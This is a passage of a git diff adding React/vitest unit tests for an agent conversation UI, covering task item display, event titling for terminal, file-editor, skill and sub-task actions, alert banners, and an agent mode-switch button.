+  it("omits the notes row when notes are empty", () => {
+    render(<TaskItem task={createTask({ notes: "" })} />);
+
+    expect(
+      screen.queryByText(
+        new RegExp(I18nKey.TASK_TRACKING_OBSERVATION$TASK_NOTES),
+      ),
+    ).not.toBeInTheDocument();
+  });
+
+  it("uses the todo presentation for an unknown runtime status", () => {
+    const task = createTask({
+      status: "blocked" as TaskItemData["status"],
+    });
+
+    render(<TaskItem task={task} />);
+
+    expect(screen.getByTestId("todo-icon")).toHaveClass("text-[#ffffff]");
+    expect(screen.getByText("Review the implementation")).not.toHaveClass(
+      "text-[var(--oh-muted)]",
+    );
+  });
+
+  it("updates the status icon when task progress changes", () => {
+    const { rerender } = render(
+      <TaskItem task={createTask({ status: "todo" })} />,
+    );
+    expect(screen.getByTestId("todo-icon")).toBeInTheDocument();
+
+    rerender(<TaskItem task={createTask({ status: "in_progress" })} />);
+
+    expect(screen.queryByTestId("todo-icon")).not.toBeInTheDocument();
+    expect(screen.getByTestId("in-progress-icon")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/get-event-content.test.tsx b/__tests__/components/conversation-events/get-event-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d786a49bfa0b5e31a094587a3f51e9fc1543d6df
--- /dev/null
+++ b/__tests__/components/conversation-events/get-event-content.test.tsx
@@ -0,0 +1,486 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import {
+  CANVAS_UI_CLIENT_ACTION_KIND,
+  CANVAS_UI_CLIENT_TOOL_NAME,
+} from "#/constants/canvas-ui";
+import {
+  LAUNCH_CHILD_CONVERSATION_ACTION_KIND,
+  LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+} from "#/constants/child-conversation";
+import { getEventContent } from "#/components/conversation-events/chat";
+import {
+  ActionEvent,
+  ObservationEvent,
+  SecurityRisk,
+} from "#/types/agent-server/core";
+
+const terminalActionEvent: ActionEvent = {
+  id: "action-1",
+  timestamp: new Date().toISOString(),
+  source: "agent",
+  thought: [{ type: "text", text: "Checking repository status." }],
+  thinking_blocks: [],
+  action: {
+    kind: "TerminalAction",
+    command: "git status",
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+  tool_name: "terminal",
+  tool_call_id: "tool-1",
+  tool_call: {
+    id: "tool-1",
+    type: "function",
+    function: {
+      name: "terminal",
+      arguments: '{"command":"git status"}',
+    },
+  },
+  llm_response_id: "response-1",
+  security_risk: SecurityRisk.LOW,
+  summary: "Check repository status",
+};
+
+const terminalObservationEvent: ObservationEvent = {
+  id: "obs-1",
+  timestamp: new Date().toISOString(),
+  source: "environment",
+  tool_name: "terminal",
+  tool_call_id: "tool-1",
+  action_id: "action-1",
+  observation: {
+    kind: "TerminalObservation",
+    content: [{ type: "text", text: "On branch main" }],
+    command: "git status",
+    exit_code: 0,
+    is_error: false,
+    timeout: false,
+    metadata: {
+      exit_code: 0,
+      pid: 1,
+      username: "openhands",
+      hostname: "runtime",
+      prefix: "",
+      suffix: "",
+      working_dir: "/workspace/project/OpenHands",
+      py_interpreter_path: null,
+    },
+  },
+};
+
+describe("getEventContent", () => {
+  it("uses the action summary as the full action title", () => {
+    const { title } = getEventContent(terminalActionEvent);
+
+    render(<span>{title}</span>);
+
+    expect(screen.getByText("Check repository status")).toBeInTheDocument();
+    expect(screen.queryByText("$ git status")).not.toBeInTheDocument();
+  });
+
+  it("falls back to command-based title when summary is missing", () => {
+    const actionWithoutSummary = { ...terminalActionEvent, summary: undefined };
+    const { title } = getEventContent(actionWithoutSummary);
+
+    render(<span>{title}</span>);
+
+    // Without i18n loaded, the translation key renders as the raw key
+    expect(screen.getByText("ACTION_MESSAGE$RUN")).toBeInTheDocument();
+    expect(
+      screen.queryByText("Check repository status"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("ignores the agent-server fallback summary ('tool_name: {args}') and uses the action-kind title", () => {
+    // The SDK's `_extract_summary` emits `f"{tool_name}: {json}"` when the
+    // LLM omits a summary. That blob should not be shown as the title.
+    const actionWithFallbackSummary = {
+      ...terminalActionEvent,
+      summary: 'terminal: {"command":"git status"}',
+    };
+    const { title } = getEventContent(actionWithFallbackSummary);
+
+    render(<span>{title}</span>);
+
+    expect(screen.getByText("ACTION_MESSAGE$RUN")).toBeInTheDocument();
+    expect(
+      screen.queryByText('terminal: {"command":"git status"}'),
+    ).not.toBeInTheDocument();
+  });
+
+  it("ignores fallback summary on the paired observation as well", () => {
+    const actionWithFallbackSummary = {
+      ...terminalActionEvent,
+      summary: 'terminal: {"command":"git status"}',
+    };
+    const { title } = getEventContent(
+      terminalObservationEvent,
+      actionWithFallbackSummary,
+    );
+
+    render(<span>{title}</span>);
+
+    expect(screen.getByText("OBSERVATION_MESSAGE$RUN")).toBeInTheDocument();
+    expect(
+      screen.queryByText('terminal: {"command":"git status"}'),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders a file view action through the file-editor visualizer", () => {
+    const fileViewAction: ActionEvent = {
+      id: "action-2",
+      timestamp: new Date().toISOString(),
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: {
+        kind: "FileEditorAction",
+        command: "view",
+        path: "/workspace/README.md",
+        file_text: null,
+        old_str: null,
+        new_str: null,
+        insert_line: null,
+        view_range: null,
+      },
+      tool_name: "file_editor",
+      tool_call_id: "tool-2",
+      tool_call: {
+        id: "tool-2",
+        type: "function",
+        function: {
+          name: "file_editor",
+          arguments: '{"command":"view","path":"/workspace/README.md"}',
+        },
+      },
+      llm_response_id: "response-2",
+      security_risk: SecurityRisk.LOW,
+    };
+
+    const { title, details } = getEventContent(fileViewAction);
+
+    render(<span>{title}</span>);
+    expect(screen.getByText("ACTION_MESSAGE$READ")).toBeInTheDocument();
+    // FileEditor is now migrated to a React visualizer: details is a node that
+    // renders the file-path chip rather than the old empty markdown string.
+    expect(typeof details).not.toBe("string");
+    render(<div>{details}</div>);
+    expect(screen.getByText("/workspace/README.md")).toBeInTheDocument();
+  });
+
+  it.each([
+    ["create", "OBSERVATION_MESSAGE$WRITE"],
+    ["str_replace", "OBSERVATION_MESSAGE$EDIT"],
+  ])(
+    "titles a %s file-editor observation with %s",
+    (command, expectedTitleKey) => {
+      const fileEditorObservation: ObservationEvent = {
+        id: "obs-2",
+        timestamp: new Date().toISOString(),
+        source: "environment",
+        tool_name: "file_editor",
+        tool_call_id: "tool-2",
+        action_id: "action-2",
+        observation: {
+          kind: "FileEditorObservation",
+          command: command as "create" | "str_replace",
+          output: "",
+          path: "/workspace/canvas.md",
+          prev_exist: command !== "create",
+          old_content: null,
+          new_content: "# Canvas",
+          error: null,
+        },
+      };
+
+      const { title } = getEventContent(fileEditorObservation);
+
+      render(<span>{title}</span>);
+      expect(screen.getByText(expectedTitleKey)).toBeInTheDocument();
+    },
+  );
+
+  it("shows action kind for action-like events missing tool_name/tool_call_id", () => {
+    // Simulate an event that has an action object but fails the strict isActionEvent() guard
+    const malformedEvent = {
+      id: "action-3",
+      timestamp: new Date().toISOString(),
+      source: "agent" as const,
+      action: { kind: "FileEditorAction" },
+    };
+
+    const { title, details } = getEventContent(malformedEvent as any);
+
+    expect(title).toBe("FILEEDITOR");
+    expect(details).toBe("");
+  });
+
+  it("reuses the action summary as the full paired observation title", () => {
+    const { title } = getEventContent(
+      terminalObservationEvent,
+      terminalActionEvent,
+    );
+
+    render(<span>{title}</span>);
+
+    expect(screen.getByText("Check repository status")).toBeInTheDocument();
+    expect(screen.queryByText("$ git status")).not.toBeInTheDocument();
+  });
+
+  it("renders InvokeSkillAction with the skill name instead of 'INVOKESKILL'", () => {
+    const invokeSkillAction: ActionEvent = {
+      id: "action-skill",
+      timestamp: new Date().toISOString(),
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: {
+        kind: "InvokeSkillAction",
+        name: "worktree-switch",
+      },
+      tool_name: "invoke_skill",
+      tool_call_id: "tool-skill",
+      tool_call: {
+        id: "tool-skill",
+        type: "function",
+        function: {
+          name: "invoke_skill",
+          arguments: '{"name":"worktree-switch"}',
+        },
+      },
+      llm_response_id: "response-skill",
+      security_risk: SecurityRisk.LOW,
+    };
+
+    const { title, details } = getEventContent(invokeSkillAction);
+
+    render(<span>{title}</span>);
+    // Without i18n loaded, the translation key renders as the raw key —
+    // the important thing is that we no longer fall back to "INVOKESKILL".
+    expect(screen.getByText("ACTION_MESSAGE$INVOKE_SKILL")).toBeInTheDocument();
+    expect(screen.queryByText("INVOKESKILL")).not.toBeInTheDocument();
+    expect(details).toContain("worktree-switch");
+  });
+
+  it("renders InvokeSkillObservation with the skill name", () => {
+    const invokeSkillObservation: ObservationEvent = {
+      id: "obs-skill",
+      timestamp: new Date().toISOString(),
+      source: "environment",
+      tool_name: "invoke_skill",
+      tool_call_id: "tool-skill",
+      action_id: "action-skill",
+      observation: {
+        kind: "InvokeSkillObservation",
+        skill_name: "worktree-switch",
+        content: [{ type: "text", text: "# Skill content" }],
+      },
+    };
+
+    const { title, details } = getEventContent(invokeSkillObservation);
+
+    render(<span>{title}</span>);
+    expect(
+      screen.getByText("OBSERVATION_MESSAGE$INVOKE_SKILL"),
+    ).toBeInTheDocument();
+    expect(screen.queryByText("INVOKESKILL")).not.toBeInTheDocument();
+    expect(details).toContain("worktree-switch");
+    expect(details).toContain("# Skill content");
+  });
+
+  it("titles a TaskAction with the subagent and shows the query", () => {
+    const taskAction: ActionEvent = {
+      id: "act-task",
+      timestamp: new Date().toISOString(),
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      tool_name: "task",
+      tool_call_id: "tool-task",
+      action: {
+        kind: "TaskAction",
+        prompt: "Summarize the README",
+        subagent_type: "code-explorer",
+      },
+    } as unknown as ActionEvent;
+
+    const { title } = getEventContent(taskAction);
+
+    render(<span>{title}</span>);
+    expect(screen.getByText("ACTION_MESSAGE$TASK")).toBeInTheDocument();
+    expect(screen.queryByText("TASK")).not.toBeInTheDocument();
+  });
+
+  it("titles a TaskObservation with the subagent", () => {
+    const taskObservation: ObservationEvent = {
+      id: "obs-task",
+      timestamp: new Date().toISOString(),
+      source: "environment",
+      tool_name: "task",
+      tool_call_id: "tool-task",
+      action_id: "act-task",
+      observation: {
+        kind: "TaskObservation",
+        content: [{ type: "text", text: "All done." }],
+        is_error: false,
+        task_id: "task_00000001",
+        subagent: "code-explorer",
+        status: "completed",
+      },
+    };
+
+    const { title } = getEventContent(taskObservation);
+
+    render(<span>{title}</span>);
+    expect(screen.getByText("OBSERVATION_MESSAGE$TASK")).toBeInTheDocument();
+    // The body is rendered by the task visualizer (covered in task.test.tsx),
+    // so only the title is asserted here.
+  });
+
+  it("renders CanvasUIObservation as just its acknowledgement text", () => {
+    const canvasUIObservation: ObservationEvent = {
+      id: "obs-canvas",
+      timestamp: new Date().toISOString(),
+      source: "environment",
+      tool_name: "canvas_ui",
+      tool_call_id: "tool-canvas",
+      action_id: "action-canvas",
+      observation: {
+        kind: "CanvasUIObservation",
+        content: [
+          {
+            type: "text",
+            text: "UI command 'open_tab' dispatched to the Agent Canvas frontend.",
+          },
+        ],
+        is_error: false,
+      },
+    };
+
+    const { title, details } = getEventContent(canvasUIObservation);
+
+    render(<span>{title}</span>);
+    expect(
+      screen.getByText("OBSERVATION_MESSAGE$CANVAS_UI"),
+    ).toBeInTheDocument();
+    // The body is exactly the acknowledgement text, not a JSON dump.
+    expect(details).toBe(
+      "UI command 'open_tab' dispatched to the Agent Canvas frontend.",
+    );
+  });
+
+  it("renders client-defined Canvas UI events like legacy events", () => {
+    const canvasUIAction: ActionEvent = {
+      id: "action-canvas-client",
+      timestamp: new Date().toISOString(),
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: {
+        kind: CANVAS_UI_CLIENT_ACTION_KIND,
+        command: "open_tab",
+        path: null,
+        tab: "files",
+      },
+      tool_name: CANVAS_UI_CLIENT_TOOL_NAME,
+      tool_call_id: "tool-canvas-client",
+      tool_call: {
+        id: "tool-canvas-client",
+        type: "function",
+        function: {
+          name: CANVAS_UI_CLIENT_TOOL_NAME,
+          arguments: '{"command":"open_tab","tab":"files"}',
+        },
+      },
+      llm_response_id: "response-canvas-client",
+      security_risk: SecurityRisk.LOW,
+      summary: "",
+    };
+    const canvasUIObservation: ObservationEvent = {
+      id: "obs-canvas-client",
+      timestamp: new Date().toISOString(),
+      source: "environment",
+      tool_name: CANVAS_UI_CLIENT_TOOL_NAME,
+      tool_call_id: "tool-canvas-client",
+      action_id: "action-canvas-client",
+      observation: {
+        kind: "ClientToolObservation",
+        content: [{ type: "text", text: "Tool call dispatched to client." }],
+        is_error: false,
+      },
+    };
+
+    const actionContent = getEventContent(canvasUIAction);
+    render(<span>{actionContent.title}</span>);
+    expect(screen.getByText("CANVASUI")).toBeInTheDocument();
+
+    const { title, details } = getEventContent(
+      canvasUIObservation,
+      canvasUIAction,
+    );
+    render(<span>{title}</span>);
+    expect(
+      screen.getByText("OBSERVATION_MESSAGE$CANVAS_UI"),
+    ).toBeInTheDocument();
+    expect(details).toBe(
+      "UI command 'open_tab' dispatched to the Agent Canvas frontend.",
+    );
+  });
+
+  // Without the explicit mapping the default branch would surface the SDK's
+  // generated discriminator ("CLIENTACTION_LAUNCH_CHILD_CONVERSATION") to users.
+  it("titles the launch-child-conversation tool call and its acknowledgement", () => {
+    const launchAction: ActionEvent = {
+      id: "action-launch",
+      timestamp: new Date().toISOString(),
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: {
+        kind: LAUNCH_CHILD_CONVERSATION_ACTION_KIND,
+        target: "local",
+        task: "Add a regression test for the parser",
+      },
+      tool_name: LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+      tool_call_id: "tool-launch",
+      tool_call: {
+        id: "tool-launch",
+        type: "function",
+        function: {
+          name: LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+          arguments: '{"target":"local","task":"Add a regression test"}',
+        },
+      },
+      llm_response_id: "response-launch",
+      security_risk: SecurityRisk.LOW,
+      summary: "",
+    };
+    const launchObservation: ObservationEvent = {
+      id: "obs-launch",
+      timestamp: new Date().toISOString(),
+      source: "environment",
+      tool_name: LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+      tool_call_id: "tool-launch",
+      action_id: "action-launch",
+      observation: {
+        kind: "ClientToolObservation",
+        content: [{ type: "text", text: "Tool call dispatched to client." }],
+        is_error: false,
+      },
+    };
+
+    render(<span>{getEventContent(launchAction).title}</span>);
+    expect(
+      screen.getByText("ACTION_MESSAGE$LAUNCH_CHILD_CONVERSATION"),
+    ).toBeInTheDocument();
+
+    render(
+      <span>{getEventContent(launchObservation, launchAction).title}</span>,
+    );
+    expect(
+      screen.getByText("OBSERVATION_MESSAGE$LAUNCH_CHILD_CONVERSATION"),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/alerts/alert-banner.test.tsx b/__tests__/components/features/alerts/alert-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3ddceb19b0232e1fa9b1f09014decac3f2205b48
--- /dev/null
+++ b/__tests__/components/features/alerts/alert-banner.test.tsx
@@ -0,0 +1,287 @@
+import { fireEvent, render, screen, within } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { act } from "react";
+import { MemoryRouter } from "react-router";
+import { AlertBanner } from "#/components/features/alerts/alert-banner";
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+  const actual =
+    await vi.importActual<typeof import("react-i18next")>("react-i18next");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string, options?: { time?: string }) => {
+        const translations: Record<string, string> = {
+          MAINTENANCE$SCHEDULED_MESSAGE: `Scheduled maintenance will begin at ${options?.time || "{{time}}"}`,
+          ALERT$FAULTY_MODELS_MESSAGE:
+            "The following models are currently reporting errors:",
+          "ERROR$TRANSLATED_KEY": "This is a translated error message",
+        };
+        return translations[key] || key;
+      },
+    }),
+  };
+});
+
+describe("AlertBanner", () => {
+  afterEach(() => {
+    localStorage.clear();
+  });
+
+  describe("Maintenance alerts", () => {
+    it("renders maintenance banner with formatted time", () => {
+      const startTime = "2024-01-15T10:00:00-05:00";
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      const { container } = render(
+        <MemoryRouter>
+          <AlertBanner maintenanceStartTime={startTime} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).toBeInTheDocument();
+
+      const svgIcon = container.querySelector("svg");
+      expect(svgIcon).toBeInTheDocument();
+
+      const button = within(banner!).queryByTestId("dismiss-button");
+      expect(button).toBeInTheDocument();
+    });
+
+    it("click on dismiss button removes banner", () => {
+      const startTime = "2024-01-15T10:00:00-05:00";
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner maintenanceStartTime={startTime} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      const button = within(banner!).queryByTestId("dismiss-button");
+
+      act(() => {
+        fireEvent.click(button!);
+      });
+
+      expect(banner).not.toBeInTheDocument();
+    });
+
+    it("banner reappears when updatedAt changes", () => {
+      const startTime = "2024-01-15T10:00:00-05:00";
+      const updatedAt = "2024-01-14T10:00:00Z";
+      const newUpdatedAt = "2024-01-15T10:00:00Z";
+
+      const { rerender } = render(
+        <MemoryRouter>
+          <AlertBanner maintenanceStartTime={startTime} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      const button = within(banner!).queryByTestId("dismiss-button");
+
+      act(() => {
+        fireEvent.click(button!);
+      });
+
+      expect(banner).not.toBeInTheDocument();
+
+      rerender(
+        <MemoryRouter>
+          <AlertBanner
+            maintenanceStartTime={startTime}
+            updatedAt={newUpdatedAt}
+          />
+        </MemoryRouter>,
+      );
+
+      expect(screen.queryByTestId("alert-banner")).toBeInTheDocument();
+    });
+  });
+
+  describe("Faulty models alerts", () => {
+    it("renders banner with faulty models list", () => {
+      const faultyModels = ["gpt-4", "claude-3"];
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner faultyModels={faultyModels} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).toBeInTheDocument();
+
+      expect(
+        screen.getByText(/The following models are currently reporting errors:/),
+      ).toBeInTheDocument();
+      // Models are displayed in the order they are provided
+      expect(screen.getByText(/gpt-4/)).toBeInTheDocument();
+      expect(screen.getByText(/claude-3/)).toBeInTheDocument();
+    });
+
+    it("does not render banner when faulty models array is empty", () => {
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner faultyModels={[]} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).not.toBeInTheDocument();
+    });
+
+    it("banner reappears when updatedAt changes", () => {
+      const faultyModels = ["gpt-4"];
+      const updatedAt = "2024-01-14T10:00:00Z";
+      const newUpdatedAt = "2024-01-15T10:00:00Z";
+
+      const { rerender } = render(
+        <MemoryRouter>
+          <AlertBanner faultyModels={faultyModels} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      const button = within(banner!).queryByTestId("dismiss-button");
+
+      act(() => {
+        fireEvent.click(button!);
+      });
+
+      expect(banner).not.toBeInTheDocument();
+
+      rerender(
+        <MemoryRouter>
+          <AlertBanner faultyModels={faultyModels} updatedAt={newUpdatedAt} />
+        </MemoryRouter>,
+      );
+
+      expect(screen.queryByTestId("alert-banner")).toBeInTheDocument();
+    });
+  });
+
+  describe("Error message alerts", () => {
+    it("renders banner with translated error message", () => {
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner errorMessage="ERROR$TRANSLATED_KEY" updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).toBeInTheDocument();
+      expect(
+        screen.getByText("This is a translated error message"),
+      ).toBeInTheDocument();
+    });
+
+    it("renders banner with raw error message when no translation exists", () => {
+      const rawErrorMessage = "This is a raw error without translation";
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner errorMessage={rawErrorMessage} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).toBeInTheDocument();
+      expect(screen.getByText(rawErrorMessage)).toBeInTheDocument();
+    });
+
+    it("does not render banner when error message is empty", () => {
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner errorMessage="" updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).not.toBeInTheDocument();
+    });
+
+    it("does not render banner when error message is null", () => {
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner errorMessage={null} updatedAt={updatedAt} />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Multiple alerts", () => {
+    it("renders all alerts when multiple conditions are present", () => {
+      const startTime = "2024-01-15T10:00:00-05:00";
+      const faultyModels = ["gpt-4"];
+      const errorMessage = "ERROR$TRANSLATED_KEY";
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner
+            maintenanceStartTime={startTime}
+            faultyModels={faultyModels}
+            errorMessage={errorMessage}
+            updatedAt={updatedAt}
+          />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      expect(banner).toBeInTheDocument();
+
+      expect(
+        screen.getByText(/Scheduled maintenance will begin at/),
+      ).toBeInTheDocument();
+      expect(
+        screen.getByText(/The following models are currently reporting errors:/),
+      ).toBeInTheDocument();
+      expect(
+        screen.getByText("This is a translated error message"),
+      ).toBeInTheDocument();
+    });
+
+    it("dismissing hides all alerts", () => {
+      const startTime = "2024-01-15T10:00:00-05:00";
+      const faultyModels = ["gpt-4"];
+      const updatedAt = "2024-01-14T10:00:00Z";
+
+      render(
+        <MemoryRouter>
+          <AlertBanner
+            maintenanceStartTime={startTime}
+            faultyModels={faultyModels}
+            updatedAt={updatedAt}
+          />
+        </MemoryRouter>,
+      );
+
+      const banner = screen.queryByTestId("alert-banner");
+      const button = within(banner!).queryByTestId("dismiss-button");
+
+      act(() => {
+        fireEvent.click(button!);
+      });
+
+      expect(banner).not.toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/features/chat/change-agent-button.test.tsx b/__tests__/components/features/chat/change-agent-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ed8c51f45bae39db8636a66aeecbd118880c18af
--- /dev/null
+++ b/__tests__/components/features/chat/change-agent-button.test.tsx
@@ -0,0 +1,448 @@
+import type { ReactNode, SVGProps } from "react";
+import { act, fireEvent, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { ChangeAgentButton } from "#/components/features/chat/change-agent-button";
+import { AgentState } from "#/types/agent-state";
+import { useConversationStore } from "#/stores/conversation-store";
+import { renderWithProviders } from "../../../../test-utils";
+
+const mocks = vi.hoisted(() => ({
+  webSocketStatus: "OPEN",
+  agentState: "awaiting_user_input",
+  conversation: {
+    id: "parent-conversation-123",
+    sub_conversation_ids: [] as string[],
+  } as
+    | {
+        id: string;
+        sub_conversation_ids: string[];
+      }
+    | undefined,
+  taskStatus: undefined as string | undefined,
+  subConversationId: undefined as string | undefined,
+  isCreatingConversation: false,
+  handlePlanClick: vi.fn(
+    (event?: { preventDefault?: () => void; stopPropagation?: () => void }) => {
+      event?.preventDefault?.();
+      event?.stopPropagation?.();
+    },
+  ),
+  invalidateQueries: vi.fn(),
+}));
+
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+  StyledTooltip: ({
+    content,
+    children,
+  }: {
+    content: ReactNode;
+    children: ReactNode;
+  }) => (
+    <>
+      {children}
+      <span data-testid="styled-tooltip-content">{content}</span>
+    </>
+  ),
+}));
+
+vi.mock("#/icons/lesson-plan.svg?react", () => ({
+  default: (props: SVGProps<SVGSVGElement>) => (
+    <svg data-testid="plan-agent-icon" {...props} />
+  ),
+}));
+
+vi.mock("#/icons/code-pill", () => ({
+  CodePillIcon: (props: SVGProps<SVGSVGElement>) => (
+    <svg data-testid="code-agent-icon" {...props} />
+  ),
+}));
+
+vi.mock("#/hooks/use-unified-websocket-status", () => ({
+  useUnifiedWebSocketStatus: () => mocks.webSocketStatus,
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: () => ({ curAgentState: mocks.agentState }),
+}));
+
+vi.mock("@tanstack/react-query", async () => {
+  const actual = await vi.importActual("@tanstack/react-query");
+  return {
+    ...actual,
+    useQueryClient: () => ({
+      invalidateQueries: mocks.invalidateQueries,
+    }),
+  };
+});
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: mocks.conversation,
+    isFetched: true,
+    refetch: vi.fn(),
+  }),
+}));
+
+vi.mock("#/hooks/query/use-sub-conversation-task-polling", () => ({
+  useSubConversationTaskPolling: (
+    _taskId: string | null,
+    parentConversationId: string | null,
+  ) => {
+    const hasExpectedParent =
+      parentConversationId === (mocks.conversation?.id ?? null);
+
+    return {
+      taskStatus: hasExpectedParent ? mocks.taskStatus : undefined,
+      subConversationId: hasExpectedParent
+        ? mocks.subConversationId
+        : undefined,
+    };
+  },
+}));
+
+vi.mock("#/hooks/use-handle-plan-click", () => ({
+  useHandlePlanClick: () => ({
+    handlePlanClick: mocks.handlePlanClick,
+    isCreatingConversation: mocks.isCreatingConversation,
+  }),
+}));
+
+type RenderOverrides = {
+  conversationMode?: "code" | "plan";
+  subConversationTaskId?: string | null;
+  conversationId?: string | null;
+  activeConversationId?: string | null;
+  webSocketStatus?: "CONNECTING" | "OPEN" | "CLOSED" | "CLOSING";
+  agentState?: AgentState;
+  isCreatingConversation?: boolean;
+  taskStatus?: string;
+  subConversationId?: string;
+};
+
+function renderButton(overrides: RenderOverrides = {}) {
+  mocks.invalidateQueries.mockReset();
+  mocks.handlePlanClick.mockReset();
+  mocks.webSocketStatus = overrides.webSocketStatus ?? "OPEN";
+  mocks.agentState = overrides.agentState ?? AgentState.AWAITING_USER_INPUT;
+  mocks.conversation =
+    overrides.activeConversationId === null
+      ? undefined
+      : {
+          id: overrides.activeConversationId ?? "parent-conversation-123",
+          sub_conversation_ids: [],
+        };
+  mocks.taskStatus = overrides.taskStatus;
+  mocks.subConversationId = overrides.subConversationId;
+  mocks.isCreatingConversation = overrides.isCreatingConversation ?? false;
+
+  useConversationStore.setState({
+    conversationMode: overrides.conversationMode ?? "code",
+    subConversationTaskId: overrides.subConversationTaskId ?? null,
+  });
+
+  mocks.handlePlanClick.mockImplementation((event) => {
+    event?.preventDefault?.();
+    event?.stopPropagation?.();
+    useConversationStore.getState().setConversationMode("plan");
+  });
+
+  return renderWithProviders(<ChangeAgentButton />, {
+    navigation: {
+      conversationId:
+        overrides.conversationId === undefined
+          ? "route-conversation-123"
+          : overrides.conversationId,
+    },
+  });
+}
+
+function getModeButton() {
+  return screen.getByRole("button", {
+    name: /COMMON\$(CODE|PLAN)/,
+  });
+}
+
+describe("ChangeAgentButton cache refresh", () => {
+  it("refreshes the parent once per ready task", async () => {
+    const { rerender } = renderButton({
+      subConversationTaskId: "task-456",
+      taskStatus: "READY",
+      subConversationId: "sub-conversation-789",
+    });
+
+    await waitFor(() => {
+      expect(mocks.invalidateQueries).toHaveBeenCalledTimes(1);
+    });
+    expect(mocks.invalidateQueries).toHaveBeenLastCalledWith({
+      queryKey: ["user", "conversation", "parent-conversation-123"],
+    });
+
+    mocks.subConversationId = "sub-conversation-790";
+    rerender(<ChangeAgentButton />);
+    expect(mocks.invalidateQueries).toHaveBeenCalledTimes(1);
+
+    act(() => {
+      useConversationStore.setState({ subConversationTaskId: "task-457" });
+    });
+
+    await waitFor(() => {
+      expect(mocks.invalidateQueries).toHaveBeenCalledTimes(2);
+    });
+  });
+
+  it.each([
+    {
+      condition: "the task is still working",
+      overrides: {
+        subConversationTaskId: "task-456",
+        taskStatus: "WORKING",
+        subConversationId: "sub-conversation-789",
+      },
+    },
+    {
+      condition: "the task has no sub-conversation yet",
+      overrides: {
+        subConversationTaskId: "task-456",
+        taskStatus: "READY",
+      },
+    },
+    {
+      condition: "the parent conversation is unavailable",
+      overrides: {
+        subConversationTaskId: "task-456",
+        taskStatus: "READY",
+        subConversationId: "sub-conversation-789",
+        activeConversationId: null,
+      },
+    },
+    {
+      condition: "there is no task to refresh",
+      overrides: {
+        taskStatus: "READY",
+        subConversationId: "sub-conversation-789",
+      },
+    },
+  ])("does not refresh when $condition", ({ overrides }) => {
+    renderButton(overrides);
+
+    expect(mocks.invalidateQueries).not.toHaveBeenCalled();
+  });
+});
+
+describe("ChangeAgentButton mode selection", () => {
+  it("shows the current mode and toggles its menu", async () => {
+    const user = userEvent.setup();
+    renderButton();
+
+    const button = getModeButton();
+    expect(button).toBeEnabled();
+    expect(button).toHaveTextContent("COMMON$CODE");
+    expect(button).toHaveClass(
+      "flex",
+      "items-center",
+      "rounded-[100px]",
+      "border",
+      "border-transparent",
+      "text-[var(--oh-muted)]",
+      "cursor-pointer",
+      "hover:text-white",
+      "hover:bg-white/10",
+    );
